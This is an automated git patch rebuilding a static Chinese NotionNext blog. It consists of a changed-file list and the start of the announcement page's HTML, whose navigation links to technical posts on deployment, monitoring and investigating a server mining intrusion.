From 923430ada8f215a1f3b24f0258a4648b72ade8e1 Mon Sep 17 00:00:00 2001
From: bothsavage <bothsavage@163.com>
Date: Tue, 2 Apr 2024 04:59:59 +0000
Subject: [PATCH] auto 2024-04-02 04:59:52

---
 %23.html                                      |  4 +-
 404.html                                      |  4 +-
 _next/data/mm0_cWkCfdum_vxo9wL_b/%23.json     |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/404.json     |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/archive.json |  1 +
 .../article/240119-notion.json                |  1 +
 .../article/240121-skywaking.json             |  1 +
 .../article/240124-deploy.json                |  1 +
 .../article/240319-xmrig.json                 |  1 +
 .../article/240320-arthas.json                |  1 +
 .../article/240322-angry.json                 |  1 +
 .../article/240325-ollama.json                |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/article/begin.json  |  1 +
 .../article/example-10.json                   |  1 +
 .../article/example-2.json                    |  1 +
 .../article/example-3.json                    |  1 +
 .../article/example-4.json                    |  1 +
 .../article/example-5.json                    |  1 +
 .../article/example-6.json                    |  1 +
 .../article/example-7.json                    |  1 +
 .../article/example-8.json                    |  1 +
 .../article/example-9.json                    |  1 +
 .../article/example.json                      |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/article/guide.json  |  1 +
 .../data/mm0_cWkCfdum_vxo9wL_b/category.json  |  1 +
 ...\346\203\205\351\232\217\347\254\224.json" |  1 +
 ...\346\234\257\345\210\206\344\272\253.json" |  1 +
 ...\350\241\214\345\220\210\344\270\200.json" |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/index.json   |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/search.json  |  1 +
 .../search/NotionNext BLOG.json               |  1 +
 .../search/NotionNext BLOG/page/1.json        |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/tag.json     |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/tag/docker.json     |  1 +
 _next/data/mm0_cWkCfdum_vxo9wL_b/tag/git.json |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/tag/skywalking.json |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/tag/spring.json     |  1 +
 .../tag/\345\267\245\345\205\267.json"        |  1 +
 .../tag/\345\273\272\347\253\231.json"        |  1 +
 .../tag/\345\274\200\345\217\221.json"        |  1 +
 ...\345\276\256\346\234\215\345\212\241.json" |  1 +
 .../tag/\346\212\230\350\205\276.json"        |  1 +
 .../tag/\346\216\250\350\215\220.json"        |  1 +
 .../tag/\346\226\207\345\255\227.json"        |  1 +
 .../tag/\346\227\245\345\277\227.json"        |  1 +
 ...\350\207\252\345\212\250\345\214\226.json" |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/_buildManifest.js   |  1 +
 .../mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js     |  1 +
 archive.html                                  |  4 +-
 article/240119-notion.html                    |  4 +-
 article/240121-skywaking.html                 |  4 +-
 article/240124-deploy.html                    |  4 +-
 article/240319-xmrig.html                     |  4 +-
 article/240320-arthas.html                    |  4 +-
 article/240322-angry.html                     |  4 +-
 article/240325-ollama.html                    |  4 +-
 article/begin.html                            |  4 +-
 article/example-10.html                       |  4 +-
 article/example-2.html                        |  4 +-
 article/example-3.html                        |  4 +-
 article/example-4.html                        |  4 +-
 article/example-5.html                        |  4 +-
 article/example-6.html                        |  4 +-
 article/example-7.html                        |  4 +-
 article/example-8.html                        |  4 +-
 article/example-9.html                        |  4 +-
 article/example.html                          |  4 +-
 article/guide.html                            |  4 +-
 category.html                                 |  4 +-
 ...\346\203\205\351\232\217\347\254\224.html" |  4 +-
 ...\346\234\257\345\210\206\344\272\253.html" |  4 +-
 ...\350\241\214\345\220\210\344\270\200.html" |  4 +-
 index.html                                    |  4 +-
 search.html                                   |  4 +-
 search/NotionNext BLOG.html                   |  4 +-
 search/NotionNext BLOG/page/1.html            |  4 +-
 sitemap.xml                                   | 88 +++++++++----------
 tag.html                                      |  4 +-
 tag/docker.html                               |  4 +-
 tag/git.html                                  |  4 +-
 tag/skywalking.html                           |  4 +-
 tag/spring.html                               |  4 +-
 "tag/\345\267\245\345\205\267.html"           |  4 +-
 "tag/\345\273\272\347\253\231.html"           |  4 +-
 "tag/\345\274\200\345\217\221.html"           |  4 +-
 ...\345\276\256\346\234\215\345\212\241.html" |  4 +-
 "tag/\346\212\230\350\205\276.html"           |  4 +-
 "tag/\346\216\250\350\215\220.html"           |  4 +-
 "tag/\346\226\207\345\255\227.html"           |  4 +-
 "tag/\346\227\245\345\277\227.html"           |  4 +-
 ...\350\207\252\345\212\250\345\214\226.html" |  4 +-
 91 files changed, 178 insertions(+), 132 deletions(-)
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/%23.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/404.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/archive.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240119-notion.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240121-skywaking.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240124-deploy.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240319-xmrig.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240320-arthas.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240322-angry.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/240325-ollama.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/begin.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-10.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-2.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-3.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-4.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-5.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-6.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-7.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-8.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example-9.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/example.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/article/guide.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/category.json
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/category/\345\277\203\346\203\205\351\232\217\347\254\224.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/category/\346\212\200\346\234\257\345\210\206\344\272\253.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/category/\347\237\245\350\241\214\345\220\210\344\270\200.json"
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/index.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/search.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG/page/1.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/tag.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/tag/docker.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/tag/git.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/tag/skywalking.json
 create mode 100644 _next/data/mm0_cWkCfdum_vxo9wL_b/tag/spring.json
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\267\245\345\205\267.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\273\272\347\253\231.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\274\200\345\217\221.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\276\256\346\234\215\345\212\241.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\212\230\350\205\276.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\216\250\350\215\220.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\226\207\345\255\227.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\227\245\345\277\227.json"
 create mode 100644 "_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\350\207\252\345\212\250\345\214\226.json"
 create mode 100644 _next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js
 create mode 100644 _next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js

diff --git a/%23.html b/%23.html
index eaa0f0990..737ad93f6 100644
--- a/%23.html
+++ b/%23.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>公告 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="公告 | Both Savage"/><meta property="og:description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta property="og:url" content="https://bothsavage.github.io//#"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Notice"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta name="twitter:title" content="公告 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D-305d9f2047462727.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">公告</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-f53bfc3059bb4890ba280b045040aa5e"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-text notion-block-ed131e318c4e4a1dab1ce0413305a17c"><b>🎉talk is cheap🎉
